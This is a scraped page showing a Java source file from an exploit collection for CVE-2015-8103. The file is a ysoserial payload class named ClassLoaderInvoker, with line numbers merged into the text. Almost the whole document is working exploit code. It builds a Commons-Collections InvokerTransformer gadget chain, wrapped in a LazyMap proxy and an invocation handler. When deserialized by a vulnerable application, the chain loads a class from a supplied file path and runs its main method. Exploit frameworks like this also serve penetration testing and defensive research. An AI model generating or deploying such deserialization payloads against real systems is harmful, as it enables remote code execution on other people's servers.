Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-8103/payloads/ClassLoaderInvoker.java
Views: 11784
package ysoserial.payloads;12import java.lang.reflect.InvocationHandler;3import java.net.URL;4import java.net.URLClassLoader;5import java.util.HashMap;6import java.util.Map;78import org.apache.commons.collections.Transformer;9import org.apache.commons.collections.functors.ChainedTransformer;10import org.apache.commons.collections.functors.ConstantTransformer;11import org.apache.commons.collections.functors.InvokerTransformer;12import org.apache.commons.collections.map.LazyMap;1314import ysoserial.payloads.annotation.Dependencies;15import ysoserial.payloads.util.Gadgets;16import ysoserial.payloads.util.PayloadRunner;17import ysoserial.payloads.util.Reflections;1819/*20Requires:21commons-collections22*/23@SuppressWarnings({"rawtypes", "unchecked"})24@Dependencies({"commons-collections:commons-collections:3.1"})25public class ClassLoaderInvoker extends PayloadRunner implements ObjectPayload<InvocationHandler> {2627public InvocationHandler getObject(final String command) throws Exception {28final String fileName = command.split(" ")[0];29final String clazzName = command.split(" ")[1];30final URL[] urlArray = new URL[]{ new URL("file://" + fileName)};31// inert chain for setup32final Transformer transformerChain = new ChainedTransformer(33new Transformer[]{ new ConstantTransformer(1) });34// real chain for after setup35final Transformer[] transformers = new Transformer[] {36new ConstantTransformer(URLClassLoader.class),37new InvokerTransformer("getMethod", new Class[] {38String.class, Class[].class }, new Object[] {39"newInstance", new Class[]{ URL[].class }}),40new InvokerTransformer("invoke", new Class[] {41Object.class, Object[].class }, new Object[] {42null, new Object[]{ urlArray } }),43new InvokerTransformer("loadClass", new Class[] {44String.class}, new Object[] { clazzName }),45new InvokerTransformer("getMethod", new Class[] {46String.class, Class[].class }, new Object[] {47"main", new Class[]{String[].class} }),48new InvokerTransformer("invoke", new Class[] {49Object.class, Object[].class }, new Object[] {50null, new Object[]{ new String[]{} } }),51new ConstantTransformer(1) };5253final Map innerMap = new HashMap();5455final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);5657final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);5859final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);6061Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain6263return handler;64}6566public static void main(final String[] args) throws Exception {67PayloadRunner.run(ClassLoaderInvoker.class, args);68}69}707172